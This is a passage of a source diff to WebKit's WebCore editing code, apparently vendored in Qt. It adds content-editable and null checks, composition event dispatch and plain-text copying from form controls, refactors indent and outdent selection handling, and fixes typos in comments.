@@ -137,7 +137,7 @@ void StyleChange::reconcileTextDecorationProperties(CSSMutableStyleDeclaration*
         textDecoration = textDecorationsInEffect;
     }
 
-    // If text-decration is set to "none", remove the property because we don't want to add redundant "text-decoration: none".
+    // If text-decoration is set to "none", remove the property because we don't want to add redundant "text-decoration: none".
     if (textDecoration && !textDecoration->isValueList())
         style->removeProperty(CSSPropertyTextDecoration);
 }
@@ -250,7 +250,7 @@ void StyleChange::extractTextStyles(CSSMutableStyleDeclaration* style)
                 else
                     m_applyFontSize = "7";
             }
-            // Huge quirk in Microsft Entourage is that they understand CSS font-size, but also write 
+            // Huge quirk in Microsoft Entourage is that they understand CSS font-size, but also write 
             // out legacy 1-7 values in font tags (I guess for mailers that are not CSS-savvy at all, 
             // like Eudora). Yes, they write out *both*. We need to write out both as well.
         }
@@ -302,7 +302,9 @@ static bool isEmptyFontTag(const Node *node)
 
     const Element *elem = static_cast<const Element *>(node);
     NamedNodeMap *map = elem->attributes(true); // true for read-only
-    return (!map || map->length() == 1) && elem->getAttribute(classAttr) == styleSpanClassString();
+    if (!map)
+        return true;
+    return map->isEmpty() || (map->length() == 1 && elem->getAttribute(classAttr) == styleSpanClassString());
 }
 
 static PassRefPtr<Element> createFontElement(Document* document)
@@ -449,8 +451,8 @@ PassRefPtr<CSSMutableStyleDeclaration> editingStyleAtPosition(Position pos, Shou
 
 void prepareEditingStyleToApplyAt(CSSMutableStyleDeclaration* editingStyle, Position pos)
 {
-    // ReplaceSelectionCommand::handleStyleSpans() requiers that this function only removes the editing style.
-    // If this function was modified in the futureto delete all redundant properties, then add a boolean value to indicate
+    // ReplaceSelectionCommand::handleStyleSpans() requires that this function only removes the editing style.
+    // If this function was modified in the future to delete all redundant properties, then add a boolean value to indicate
     // which one of editingStyleAtPosition or computedStyle is called.
     RefPtr<CSSMutableStyleDeclaration> style = editingStyleAtPosition(pos);
     style->diff(editingStyle);
diff --git a/src/3rdparty/webkit/WebCore/editing/CompositeEditCommand.cpp b/src/3rdparty/webkit/WebCore/editing/CompositeEditCommand.cpp
index 1617be8..fff76a6 100644
--- a/src/3rdparty/webkit/WebCore/editing/CompositeEditCommand.cpp
+++ b/src/3rdparty/webkit/WebCore/editing/CompositeEditCommand.cpp
@@ -746,8 +746,9 @@ void CompositeEditCommand::cloneParagraphUnderNewElement(Position& start, Positi
 {
     // First we clone the outerNode
     
-    RefPtr<Node> lastNode = outerNode->cloneNode(isTableElement(outerNode));
-    appendNode(lastNode, blockElement);
+    RefPtr<Node> topNode = outerNode->cloneNode(isTableElement(outerNode));
+    appendNode(topNode, blockElement);
+    RefPtr<Node> lastNode = topNode;
 
     if (start.node() != outerNode) {
         Vector<RefPtr<Node> > ancestors;
@@ -769,12 +770,23 @@ void CompositeEditCommand::cloneParagraphUnderNewElement(Position& start, Positi
     // Handle the case of paragraphs with more than one node,
     // cloning all the siblings until end.node() is reached.
     
-    if (start.node() != end.node()) {
-        for (Node* n = start.node()->nextSibling(); n != NULL; n = n->nextSibling()) {
+    if (start.node() != end.node() && !start.node()->isDescendantOf(end.node())) {
+        // If end is not a descendant of outerNode we need to
+        // find the first common ancestor and adjust the insertion
+        // point accordingly.
+        while (!end.node()->isDescendantOf(outerNode)) {
+            outerNode = outerNode->parentNode();
+            topNode = topNode->parentNode();
+        }
+            
+        for (Node* n = start.node()->traverseNextSibling(outerNode); n; n = n->nextSibling()) {
+            if (n->parentNode() != start.node()->parentNode())
+                lastNode = topNode->lastChild();
+
             RefPtr<Node> clonedNode = n->cloneNode(true);
             insertNodeAfter(clonedNode, lastNode);
             lastNode = clonedNode.release();
-            if (n == end.node())
+            if (n == end.node() || end.node()->isDescendantOf(n))
                 break;
         }
     }
@@ -938,6 +950,7 @@ void CompositeEditCommand::moveParagraphs(const VisiblePosition& startOfParagrap
     ASSERT(destination.deepEquivalent().node()->inDocument());
 
     cleanupAfterDeletion();
+    ASSERT(destination.deepEquivalent().node()->inDocument());
 
     // Add a br if pruning an empty block level element caused a collapse. For example:
     // foo^
@@ -959,6 +972,7 @@ void CompositeEditCommand::moveParagraphs(const VisiblePosition& startOfParagrap
     destinationIndex = TextIterator::rangeLength(startToDestinationRange.get(), true);
     
     setEndingSelection(destination);
+    ASSERT(endingSelection().isCaretOrRange());
     applyCommandToComposite(ReplaceSelectionCommand::create(document(), fragment, true, false, !preserveStyle, false, true));
     
     // If the selection is in an empty paragraph, restore styles from the old empty paragraph to the new empty paragraph.
@@ -1078,7 +1092,7 @@ bool CompositeEditCommand::breakOutOfEmptyMailBlockquotedParagraph()
     
     Position caretPos(caret.deepEquivalent());
     // A line break is either a br or a preserved newline.
-    ASSERT(caretPos.node()->hasTagName(brTag) || caretPos.node()->isTextNode() && caretPos.node()->renderer()->style()->preserveNewline());
+    ASSERT(caretPos.node()->hasTagName(brTag) || (caretPos.node()->isTextNode() && caretPos.node()->renderer()->style()->preserveNewline()));
     
     if (caretPos.node()->hasTagName(brTag)) {
         Position beforeBR(positionInParentBeforeNode(caretPos.node()));
diff --git a/src/3rdparty/webkit/WebCore/editing/DeleteButtonController.cpp b/src/3rdparty/webkit/WebCore/editing/DeleteButtonController.cpp
index c154426..d999f84 100644
--- a/src/3rdparty/webkit/WebCore/editing/DeleteButtonController.cpp
+++ b/src/3rdparty/webkit/WebCore/editing/DeleteButtonController.cpp
@@ -66,7 +66,7 @@ static bool isDeletableElement(const Node* node)
     if (!node || !node->isHTMLElement() || !node->inDocument() || !node->isContentEditable())
         return false;
 
-    // In general we want to only draw the UI arround object of a certain area, but we still keep the min width/height to
+    // In general we want to only draw the UI around object of a certain area, but we still keep the min width/height to
     // make sure we don't end up with very thin or very short elements getting the UI.
     const int minimumArea = 2500;
     const int minimumWidth = 48;
@@ -187,7 +187,7 @@ void DeleteButtonController::respondToChangedSelection(const VisibleSelection& o
 void DeleteButtonController::createDeletionUI()
 {
     RefPtr<HTMLDivElement> container = new HTMLDivElement(divTag, m_target->document());
-    container->setAttribute(idAttr, containerElementIdentifier);
+    container->setAttribute(container->idAttributeName(), containerElementIdentifier);
 
     CSSMutableStyleDeclaration* style = container->getInlineStyleDecl();
     style->setProperty(CSSPropertyWebkitUserDrag, CSSValueNone);
@@ -202,7 +202,7 @@ void DeleteButtonController::createDeletionUI()
     style->setProperty(CSSPropertyLeft, "0");
 
     RefPtr<HTMLDivElement> outline = new HTMLDivElement(divTag, m_target->document());
-    outline->setAttribute(idAttr, outlineElementIdentifier);
+    outline->setAttribute(outline->idAttributeName(), outlineElementIdentifier);
 
     const int borderWidth = 4;
     const int borderRadius = 6;
@@ -225,7 +225,7 @@ void DeleteButtonController::createDeletionUI()
         return;
 
     RefPtr<DeleteButton> button = new DeleteButton(m_target->document());
-    button->setAttribute(idAttr, buttonElementIdentifier);
+    button->setAttribute(button->idAttributeName(), buttonElementIdentifier);
 
     const int buttonWidth = 30;
     const int buttonHeight = 30;
diff --git a/src/3rdparty/webkit/WebCore/editing/DeleteButtonController.h b/src/3rdparty/webkit/WebCore/editing/DeleteButtonController.h
index 713ae8b..1286c07 100644
--- a/src/3rdparty/webkit/WebCore/editing/DeleteButtonController.h
+++ b/src/3rdparty/webkit/WebCore/editing/DeleteButtonController.h
@@ -36,7 +36,7 @@ class HTMLElement;
 class RenderObject;
 class VisibleSelection;
 
-class DeleteButtonController {
+class DeleteButtonController : public Noncopyable {
 public:
     DeleteButtonController(Frame*);
 
diff --git a/src/3rdparty/webkit/WebCore/editing/DeleteFromTextNodeCommand.cpp b/src/3rdparty/webkit/WebCore/editing/DeleteFromTextNodeCommand.cpp
index e942fef..f1d79af 100644
--- a/src/3rdparty/webkit/WebCore/editing/DeleteFromTextNodeCommand.cpp
+++ b/src/3rdparty/webkit/WebCore/editing/DeleteFromTextNodeCommand.cpp
@@ -45,6 +45,9 @@ void DeleteFromTextNodeCommand::doApply()
 {
     ASSERT(m_node);
 
+    if (!m_node->isContentEditable())
+        return;
+
     ExceptionCode ec = 0;
     m_text = m_node->substringData(m_offset, m_count, ec);
     if (ec)
@@ -57,6 +60,9 @@ void DeleteFromTextNodeCommand::doUnapply()
 {
     ASSERT(m_node);
 
+    if (!m_node->isContentEditable())
+        return;
+        
     ExceptionCode ec;
     m_node->insertData(m_offset, m_text, ec);
 }
diff --git a/src/3rdparty/webkit/WebCore/editing/DeleteSelectionCommand.cpp b/src/3rdparty/webkit/WebCore/editing/DeleteSelectionCommand.cpp
index fbb5aea..5e81d50 100644
--- a/src/3rdparty/webkit/WebCore/editing/DeleteSelectionCommand.cpp
+++ b/src/3rdparty/webkit/WebCore/editing/DeleteSelectionCommand.cpp
@@ -121,7 +121,7 @@ void DeleteSelectionCommand::initializeStartEnd(Position& start, Position& end)
     else if (end.node()->hasTagName(hrTag))
         end = Position(end.node(), 1);
     
-    // FIXME: This is only used so that moveParagraphs can avoid the bugs in special element expanion.
+    // FIXME: This is only used so that moveParagraphs can avoid the bugs in special element expansion.
     if (!m_expandForSpecialElements)
         return;
     
@@ -161,6 +161,20 @@ void DeleteSelectionCommand::initializeStartEnd(Position& start, Position& end)
     }
 }
 
+void DeleteSelectionCommand::setStartingSelectionOnSmartDelete(const Position& start, const Position& end)
+{
+    VisiblePosition newBase;
+    VisiblePosition newExtent;
+    if (startingSelection().isBaseFirst()) {
+        newBase = start;
+        newExtent = end;
+    } else {
+        newBase = end;
+        newExtent = start;        
+    }
+    setStartingSelection(VisibleSelection(newBase, newExtent));            
+}
+    
 void DeleteSelectionCommand::initializePositionData()
 {
     Position start, end;
@@ -230,6 +244,8 @@ void DeleteSelectionCommand::initializePositionData()
             m_upstreamStart = pos.upstream();
             m_downstreamStart = pos.downstream();
             m_leadingWhitespace = m_upstreamStart.leadingWhitespacePosition(visiblePos.affinity());
+
+            setStartingSelectionOnSmartDelete(m_upstreamStart, m_upstreamEnd);
         }
         
         // trailing whitespace is only considered for smart delete if there is no leading
@@ -241,6 +257,8 @@ void DeleteSelectionCommand::initializePositionData()
             m_upstreamEnd = pos.upstream();
             m_downstreamEnd = pos.downstream();
             m_trailingWhitespace = m_downstreamEnd.trailingWhitespacePosition(VP_DEFAULT_AFFINITY);
+
+            setStartingSelectionOnSmartDelete(m_downstreamStart, m_downstreamEnd);
         }
     }
     
@@ -589,9 +607,18 @@ void DeleteSelectionCommand::mergeParagraphs()
     // The rule for merging into an empty block is: only do so if its farther to the right.
     // FIXME: Consider RTL.
     if (!m_startsAtEmptyLine && isStartOfParagraph(mergeDestination) && startOfParagraphToMove.absoluteCaretBounds().x() > mergeDestination.absoluteCaretBounds().x()) {
-        ASSERT(mergeDestination.deepEquivalent().downstream().node()->hasTagName(brTag));
-        removeNodeAndPruneAncestors(mergeDestination.deepEquivalent().downstream().node());
-        m_endingPosition = startOfParagraphToMove.deepEquivalent();
+        if (mergeDestination.deepEquivalent().downstream().node()->hasTagName(brTag)) {
+            removeNodeAndPruneAncestors(mergeDestination.deepEquivalent().downstream().node());
+            m_endingPosition = startOfParagraphToMove.deepEquivalent();
+            return;
+        }
+    }
+    
+    // Block images, tables and horizontal rules cannot be made inline with content at mergeDestination.  If there is 
+    // any (!isStartOfParagraph(mergeDestination)), don't merge, just move the caret to just before the selection we deleted.
+    // See https://bugs.webkit.org/show_bug.cgi?id=25439
+    if (isRenderedAsNonInlineTableImageOrHR(startOfParagraphToMove.deepEquivalent().node()) && !isStartOfParagraph(mergeDestination)) {
+        m_endingPosition = m_upstreamStart;
         return;
     }
     
diff --git a/src/3rdparty/webkit/WebCore/editing/DeleteSelectionCommand.h b/src/3rdparty/webkit/WebCore/editing/DeleteSelectionCommand.h
index c8872ef..20f52f4 100644
--- a/src/3rdparty/webkit/WebCore/editing/DeleteSelectionCommand.h
+++ b/src/3rdparty/webkit/WebCore/editing/DeleteSelectionCommand.h
@@ -51,6 +51,7 @@ private:
     virtual bool preservesTypingStyle() const;
 
     void initializeStartEnd(Position&, Position&);
+    void setStartingSelectionOnSmartDelete(const Position&, const Position&);
     void initializePositionData();
     void saveTypingStyleState();
     void insertPlaceholderForAncestorBlockContent();
diff --git a/src/3rdparty/webkit/WebCore/editing/Editor.cpp b/src/3rdparty/webkit/WebCore/editing/Editor.cpp
index 3f3f736..1061dd2 100644
--- a/src/3rdparty/webkit/WebCore/editing/Editor.cpp
+++ b/src/3rdparty/webkit/WebCore/editing/Editor.cpp
@@ -30,6 +30,7 @@
 #include "AXObjectCache.h"
 #include "ApplyStyleCommand.h"
 #include "CharacterNames.h"
+#include "CompositionEvent.h"
 #include "CreateLinkCommand.h"
 #include "CSSComputedStyleDeclaration.h"
 #include "CSSMutableStyleDeclaration.h"
@@ -831,7 +832,7 @@ TriState Editor::selectionHasStyle(CSSStyleDeclaration* style) const
                 TriState nodeState = triStateOfStyleInComputedStyle(style, nodeStyle.get(), !node->isTextNode());
                 if (node == m_frame->selection()->start().node())
                     state = nodeState;
-                else if (state != nodeState) {
+                else if (state != nodeState && node->isTextNode()) {
                     state = MixedTriState;
                     break;
                 }
@@ -1013,7 +1014,10 @@ void Editor::cut()
     }
     RefPtr<Range> selection = selectedRange();
     if (shouldDeleteRange(selection.get())) {
-        Pasteboard::generalPasteboard()->writeSelection(selection.get(), canSmartCopyOrDelete(), m_frame);
+        if (isNodeInTextFormControl(m_frame->selection()->start().node()))
+            Pasteboard::generalPasteboard()->writePlainText(m_frame->selectedText());
+        else
+            Pasteboard::generalPasteboard()->writeSelection(selection.get(), canSmartCopyOrDelete(), m_frame);
         didWriteSelectionToPasteboard();
         deleteSelectionWithSmartDelete(canSmartCopyOrDelete());
     }
@@ -1027,13 +1031,17 @@ void Editor::copy()
         systemBeep();
         return;
     }
-    
-    Document* document = m_frame->document();
-    if (HTMLImageElement* imageElement = imageElementFromImageDocument(document))
-        Pasteboard::generalPasteboard()->writeImage(imageElement, document->url(), document->title());
-    else
-        Pasteboard::generalPasteboard()->writeSelection(selectedRange().get(), canSmartCopyOrDelete(), m_frame);
-    
+
+    if (isNodeInTextFormControl(m_frame->selection()->start().node()))
+        Pasteboard::generalPasteboard()->writePlainText(m_frame->selectedText());
+    else {
+        Document* document = m_frame->document();
+        if (HTMLImageElement* imageElement = imageElementFromImageDocument(document))
+            Pasteboard::generalPasteboard()->writeImage(imageElement, document->url(), document->title());
+        else
+            Pasteboard::generalPasteboard()->writeSelection(selectedRange().get(), canSmartCopyOrDelete(), m_frame);
+    }
+
     didWriteSelectionToPasteboard();
 }
 
@@ -1059,6 +1067,8 @@ void Editor::paste()
 
 void Editor::pasteAsPlainText()
 {
+    if (tryDHTMLPaste())
+        return;
     if (!canPaste())
         return;
     pasteAsPlainTextWithPasteboard(Pasteboard::generalPasteboard());
@@ -1353,6 +1363,16 @@ void Editor::confirmComposition(const String& text, bool preserveSelection)
         return;
     }
     
+    // Dispatch a compositionend event to the focused node.
+    // We should send this event before sending a TextEvent as written in Section 6.2.2 and 6.2.3 of
+    // the DOM Event specification.
+    Node* target = m_frame->document()->focusedNode();
+    if (target) {
+        RefPtr<CompositionEvent> event = CompositionEvent::create(eventNames().compositionendEvent, m_frame->domWindow(), text);
+        ExceptionCode ec = 0;
+        target->dispatchEvent(event, ec);
+    }
+
     // If text is empty, then delete the old composition here.  If text is non-empty, InsertTextCommand::input
     // will delete the old composition with an optimized replace operation.
     if (text.isEmpty())
@@ -1363,8 +1383,11 @@ void Editor::confirmComposition(const String& text, bool preserveSelection)
 
     insertText(text, 0);
 
-    if (preserveSelection)
+    if (preserveSelection) {
         m_frame->selection()->setSelection(oldSelection, false, false);
+        // An open typing command that disagrees about current selection would cause issues with typing later on.
+        TypingCommand::closeTyping(m_lastEditCommand.get());
+    }
 
     setIgnoreCompositionSelectionChange(false);
 }
@@ -1379,7 +1402,38 @@ void Editor::setComposition(const String& text, const Vector<CompositionUnderlin
         setIgnoreCompositionSelectionChange(false);
         return;
     }
-    
+
+    Node* target = m_frame->document()->focusedNode();
+    if (target) {
+        // Dispatch an appropriate composition event to the focused node.
+        // We check the composition status and choose an appropriate composition event since this
+        // function is used for three purposes:
+        // 1. Starting a new composition.
+        //    Send a compositionstart event when this function creates a new composition node, i.e.
+        //    m_compositionNode == 0 && !text.isEmpty().
+        // 2. Updating the existing composition node.
+        //    Send a compositionupdate event when this function updates the existing composition
+        //    node, i.e. m_compositionNode != 0 && !text.isEmpty().
+        // 3. Canceling the ongoing composition.
+        //    Send a compositionend event when function deletes the existing composition node, i.e.
+        //    m_compositionNode != 0 && test.isEmpty().
+        RefPtr<CompositionEvent> event;
+        if (!m_compositionNode) {
+            // We should send a compositionstart event only when the given text is not empty because this
+            // function doesn't create a composition node when the text is empty.
+            if (!text.isEmpty())
+                event = CompositionEvent::create(eventNames().compositionstartEvent, m_frame->domWindow(), text);
+        } else {
+            if (!text.isEmpty())
+                event = CompositionEvent::create(eventNames().compositionupdateEvent, m_frame->domWindow(), text);
+            else
+              event = CompositionEvent::create(eventNames().compositionendEvent, m_frame->domWindow(), text);
+        }
+        ExceptionCode ec = 0;
+        if (event.get())
+            target->dispatchEvent(event, ec);
+    }
+
     // If text is empty, then delete the old composition here.  If text is non-empty, InsertTextCommand::input
     // will delete the old composition with an optimized replace operation.
     if (text.isEmpty())
@@ -1438,7 +1492,7 @@ void Editor::learnSpelling()
     if (!client())
         return;
         
-    // FIXME: We don't call this on the Mac, and it should remove misppelling markers around the 
+    // FIXME: We don't call this on the Mac, and it should remove misspelling markers around the 
     // learned word, see <rdar://problem/5396072>.
 
     String text = frame()->selectedText();
@@ -1754,8 +1808,9 @@ static String findFirstMisspellingOrBadGrammarInRange(EditorClient* client, Rang
         }
         if (lastIteration || totalLengthProcessed + currentLength >= totalRangeLength)
             break;
-        setStart(paragraphRange.get(), startOfNextParagraph(paragraphRange->endPosition()));
-        setEnd(paragraphRange.get(), endOfParagraph(paragraphRange->startPosition()));
+        VisiblePosition newParagraphStart = startOfNextParagraph(paragraphRange->endPosition());
+        setStart(paragraphRange.get(), newParagraphStart);
+        setEnd(paragraphRange.get(), endOfParagraph(newParagraphStart));
         firstIteration = false;
         totalLengthProcessed += currentLength;
     }
@@ -2693,6 +2748,9 @@ bool Editor::insideVisibleArea(const IntPoint& point) const
         return true;
     
     RenderPart* renderer = frame->ownerRenderer();
+    if (!renderer)
+        return false;
+
     RenderBlock* container = renderer->containingBlock();
     if (!(container->style()->overflowX() == OHIDDEN || container->style()->overflowY() == OHIDDEN))
         return true;
@@ -2719,6 +2777,9 @@ bool Editor::insideVisibleArea(Range* range) const
         return true;
     
     RenderPart* renderer = frame->ownerRenderer();
+    if (!renderer)
+        return false;
+
     RenderBlock* container = renderer->containingBlock();
     if (!(container->style()->overflowX() == OHIDDEN || container->style()->overflowY() == OHIDDEN))
         return true;
diff --git a/src/3rdparty/webkit/WebCore/editing/EditorCommand.cpp b/src/3rdparty/webkit/WebCore/editing/EditorCommand.cpp
index 3379b3c..34fa46d 100644
--- a/src/3rdparty/webkit/WebCore/editing/EditorCommand.cpp
+++ b/src/3rdparty/webkit/WebCore/editing/EditorCommand.cpp
@@ -32,6 +32,7 @@
 #include "CSSMutableStyleDeclaration.h"
 #include "CSSPropertyNames.h"
 #include "CSSValueKeywords.h"
+#include "Chrome.h"
 #include "CreateLinkCommand.h"
 #include "DocumentFragment.h"
 #include "Editor.h"
@@ -256,10 +257,10 @@ static int verticalScrollDistance(Frame* frame)
     RenderStyle* style = renderer->style();
     if (!style)
         return 0;
-    if (!(style->overflowY() == OSCROLL || style->overflowY() == OAUTO || renderer->isTextArea()))
+    if (!(style->overflowY() == OSCROLL || style->overflowY() == OAUTO || focusedNode->isContentEditable()))
         return 0;
     int height = toRenderBox(renderer)->clientHeight();
-    return max((height + 1) / 2, height - cAmountToKeepWhenPaging);
+    return max(max<int>(height * Scrollbar::minFractionToStepWhenPaging(), height - Scrollbar::maxOverlapBetweenPages()), 1);
 }
 
 static RefPtr<Range> unionDOMRanges(Range* a, Range* b)
@@ -471,7 +472,7 @@ static bool executeInsertHorizontalRule(Frame* frame, Event*, EditorCommandSourc
 {
     RefPtr<HTMLHRElement> hr = new HTMLHRElement(hrTag, frame->document());
     if (!value.isEmpty())
-        hr->setAttribute(idAttr, value);
+        hr->setAttribute(hr->idAttributeName(), value);
     return executeInsertNode(frame, hr.release());
 }
 
diff --git a/src/3rdparty/webkit/WebCore/editing/IndentOutdentCommand.cpp b/src/3rdparty/webkit/WebCore/editing/IndentOutdentCommand.cpp
index 808a2f8..0f3975b 100644
--- a/src/3rdparty/webkit/WebCore/editing/IndentOutdentCommand.cpp
+++ b/src/3rdparty/webkit/WebCore/editing/IndentOutdentCommand.cpp
@@ -76,7 +76,12 @@ bool IndentOutdentCommand::tryIndentingAsListItem(const VisiblePosition& endOfCu
         return false;
 
     // Find the list item enclosing the current paragraph
-    Element* selectedListItem = static_cast<Element*>(enclosingBlock(endOfCurrentParagraph.deepEquivalent().node()));
+    Element* selectedListItem = static_cast<Element*>(enclosingBlock(lastNodeInSelectedParagraph));
+    // FIXME: enclosingBlock shouldn't return the passed in element.  See the
+    // comment on the function about how to fix rather than having to adjust here.
+    if (selectedListItem == lastNodeInSelectedParagraph)
+        selectedListItem = static_cast<Element*>(enclosingBlock(lastNodeInSelectedParagraph->parentNode()));
+
     // FIXME: we need to deal with the case where there is no li (malformed HTML)
     if (!selectedListItem->hasTagName(liTag))
         return false;
@@ -129,17 +134,8 @@ void IndentOutdentCommand::indentIntoBlockquote(const VisiblePosition& endOfCurr
         targetBlockquote = 0;
 }
 
-void IndentOutdentCommand::indentRegion()
+void IndentOutdentCommand::indentRegion(const VisiblePosition& startOfSelection, const VisiblePosition& endOfSelection)
 {
-    VisibleSelection selection = selectionForParagraphIteration(endingSelection());
-    VisiblePosition startOfSelection = selection.visibleStart();
-    VisiblePosition endOfSelection = selection.visibleEnd();
-    int startIndex = indexForVisiblePosition(startOfSelection);
-    int endIndex = indexForVisiblePosition(endOfSelection);
-
-    ASSERT(!startOfSelection.isNull());
-    ASSERT(!endOfSelection.isNull());
-
     // Special case empty unsplittable elements because there's nothing to split
     // and there's nothing to move.
     Position start = startOfSelection.deepEquivalent().downstream();
@@ -162,6 +158,12 @@ void IndentOutdentCommand::indentRegion()
             blockquoteForNextIndent = 0;
         else
             indentIntoBlockquote(endOfCurrentParagraph, endOfNextParagraph, blockquoteForNextIndent);
+
+        // indentIntoBlockquote could move more than one paragraph if the paragraph
+        // is in a list item or a table. As a result, endAfterSelection could refer to a position
+        // no longer in the document.
+        if (endAfterSelection.isNotNull() && !endAfterSelection.deepEquivalent().node()->inDocument())
+            break;
         // Sanity check: Make sure our moveParagraph calls didn't remove endOfNextParagraph.deepEquivalent().node()
         // If somehow we did, return to prevent crashes.
         if (endOfNextParagraph.isNotNull() && !endOfNextParagraph.deepEquivalent().node()->inDocument()) {
@@ -169,14 +171,7 @@ void IndentOutdentCommand::indentRegion()
             return;
         }
         endOfCurrentParagraph = endOfNextParagraph;
-    }
-    
-    updateLayout();
-    
-    RefPtr<Range> startRange = TextIterator::rangeFromLocationAndLength(document()->documentElement(), startIndex, 0, true);
-    RefPtr<Range> endRange = TextIterator::rangeFromLocationAndLength(document()->documentElement(), endIndex, 0, true);
-    if (startRange && endRange)
-        setEndingSelection(VisibleSelection(startRange->startPosition(), endRange->startPosition(), DOWNSTREAM));
+    }   
 }
 
 void IndentOutdentCommand::outdentParagraph()
@@ -242,36 +237,40 @@ void IndentOutdentCommand::outdentParagraph()
     moveParagraph(startOfParagraph(visibleStartOfParagraph), endOfParagraph(visibleEndOfParagraph), VisiblePosition(Position(placeholder.get(), 0)), true);
 }
 
-void IndentOutdentCommand::outdentRegion()
+void IndentOutdentCommand::outdentRegion(const VisiblePosition& startOfSelection, const VisiblePosition& endOfSelection)
 {
-    VisiblePosition startOfSelection = endingSelection().visibleStart();
-    VisiblePosition endOfSelection = endingSelection().visibleEnd();
     VisiblePosition endOfLastParagraph = endOfParagraph(endOfSelection);
 
-    ASSERT(!startOfSelection.isNull());
-    ASSERT(!endOfSelection.isNull());
-
     if (endOfParagraph(startOfSelection) == endOfLastParagraph) {
         outdentParagraph();
         return;
     }
-
+    
     Position originalSelectionEnd = endingSelection().end();
-    setEndingSelection(endingSelection().visibleStart());
-    outdentParagraph();
-    Position originalSelectionStart = endingSelection().start();
-    VisiblePosition endOfCurrentParagraph = endOfParagraph(endOfParagraph(endingSelection().visibleStart()).next(true));
+    VisiblePosition endOfCurrentParagraph = endOfParagraph(startOfSelection);
     VisiblePosition endAfterSelection = endOfParagraph(endOfParagraph(endOfSelection).next());
+
     while (endOfCurrentParagraph != endAfterSelection) {
         VisiblePosition endOfNextParagraph = endOfParagraph(endOfCurrentParagraph.next());
         if (endOfCurrentParagraph == endOfLastParagraph)
             setEndingSelection(VisibleSelection(originalSelectionEnd, DOWNSTREAM));
         else
             setEndingSelection(endOfCurrentParagraph);
+        
         outdentParagraph();
+        
+        // outdentParagraph could move more than one paragraph if the paragraph
+        // is in a list item. As a result, endAfterSelection and endOfNextParagraph
+        // could refer to positions no longer in the document.
+        if (endAfterSelection.isNotNull() && !endAfterSelection.deepEquivalent().node()->inDocument())
+            break;
+            
+        if (endOfNextParagraph.isNotNull() && !endOfNextParagraph.deepEquivalent().node()->inDocument()) {
+            endOfCurrentParagraph = endingSelection().end();
+            endOfNextParagraph = endOfParagraph(endOfCurrentParagraph.next());
+        }
         endOfCurrentParagraph = endOfNextParagraph;
     }
-    setEndingSelection(VisibleSelection(originalSelectionStart, endingSelection().end(), DOWNSTREAM));
 }
 
 void IndentOutdentCommand::doApply()
@@ -295,10 +294,27 @@ void IndentOutdentCommand::doApply()
     if (visibleEnd != visibleStart && isStartOfParagraph(visibleEnd))
         setEndingSelection(VisibleSelection(visibleStart, visibleEnd.previous(true)));
 
+    VisibleSelection selection = selectionForParagraphIteration(endingSelection());
+    VisiblePosition startOfSelection = selection.visibleStart();
+    VisiblePosition endOfSelection = selection.visibleEnd();
+    
+    int startIndex = indexForVisiblePosition(startOfSelection);
+    int endIndex = indexForVisiblePosition(endOfSelection);
+    
+    ASSERT(!startOfSelection.isNull());
+    ASSERT(!endOfSelection.isNull());
+    
     if (m_typeOfAction == Indent)
-        indentRegion();
+        indentRegion(startOfSelection, endOfSelection);
     else
-        outdentRegion();
+        outdentRegion(startOfSelection, endOfSelection);
+
+    updateLayout();
+    
+    RefPtr<Range> startRange = TextIterator::rangeFromLocationAndLength(document()->documentElement(), startIndex, 0, true);
+    RefPtr<Range> endRange = TextIterator::rangeFromLocationAndLength(document()->documentElement(), endIndex, 0, true);
+    if (startRange && endRange)
+        setEndingSelection(VisibleSelection(startRange->startPosition(), endRange->startPosition(), DOWNSTREAM));
 }
 
 }
diff --git a/src/3rdparty/webkit/WebCore/editing/IndentOutdentCommand.h b/src/3rdparty/webkit/WebCore/editing/IndentOutdentCommand.h
index 817b4c8..8705bf1 100644
--- a/src/3rdparty/webkit/WebCore/editing/IndentOutdentCommand.h
+++ b/src/3rdparty/webkit/WebCore/editing/IndentOutdentCommand.h
@@ -46,8 +46,8 @@ private:
     virtual void doApply();
     virtual EditAction editingAction() const { return m_typeOfAction == Indent ? EditActionIndent : EditActionOutdent; }
 
-    void indentRegion();
-    void outdentRegion();
+    void indentRegion(const VisiblePosition&, const VisiblePosition&);
+    void outdentRegion(const VisiblePosition&, const VisiblePosition&);
     void outdentParagraph();
     bool tryIndentingAsListItem(const VisiblePosition&);
     void indentIntoBlockquote(const VisiblePosition&, const VisiblePosition&, RefPtr<Element>&);
diff --git a/src/3rdparty/webkit/WebCore/editing/InsertIntoTextNodeCommand.cpp b/src/3rdparty/webkit/WebCore/editing/InsertIntoTextNodeCommand.cpp
index 4905fae..9c3423a 100644
--- a/src/3rdparty/webkit/WebCore/editing/InsertIntoTextNodeCommand.cpp
+++ b/src/3rdparty/webkit/WebCore/editing/InsertIntoTextNodeCommand.cpp
@@ -43,12 +43,18 @@ InsertIntoTextNodeCommand::InsertIntoTextNodeCommand(PassRefPtr<Text> node, unsi
 
 void InsertIntoTextNodeCommand::doApply()
 {
+    if (!m_node->isContentEditable())
+        return;
+    
     ExceptionCode ec;
     m_node->insertData(m_offset, m_text, ec);
 }
 
 void InsertIntoTextNodeCommand::doUnapply()
 {
+    if (!m_node->isContentEditable())
+        return;
+        
     ExceptionCode ec;
     m_node->deleteData(m_offset, m_text.length(), ec);
 }
diff --git a/src/3rdparty/webkit/WebCore/editing/InsertNodeBeforeCommand.cpp b/src/3rdparty/webkit/WebCore/editing/InsertNodeBeforeCommand.cpp
index 4f60963..2ce9846 100644
--- a/src/3rdparty/webkit/WebCore/editing/InsertNodeBeforeCommand.cpp
+++ b/src/3rdparty/webkit/WebCore/editing/InsertNodeBeforeCommand.cpp
@@ -46,7 +46,7 @@ InsertNodeBeforeCommand::InsertNodeBeforeCommand(PassRefPtr<Node> insertChild, P
 void InsertNodeBeforeCommand::doApply()
 {
     Node* parent = m_refChild->parentNode();
-    if (!parent)
+    if (!parent || !parent->isContentEditable())
         return;
 
     ExceptionCode ec;
@@ -55,6 +55,9 @@ void InsertNodeBeforeCommand::doApply()
 
 void InsertNodeBeforeCommand::doUnapply()
 {
+    if (!m_insertChild->isContentEditable())
+        return;
+        
     ExceptionCode ec;
     m_insertChild->remove(ec);
 }
diff --git a/src/3rdparty/webkit/WebCore/editing/InsertParagraphSeparatorCommand.cpp b/src/3rdparty/webkit/WebCore/editing/InsertParagraphSeparatorCommand.cpp
index 695f46a..058b961 100644
--- a/src/3rdparty/webkit/WebCore/editing/InsertParagraphSeparatorCommand.cpp
+++ b/src/3rdparty/webkit/WebCore/editing/InsertParagraphSeparatorCommand.cpp
@@ -44,6 +44,22 @@ namespace WebCore {
 
 using namespace HTMLNames;
 
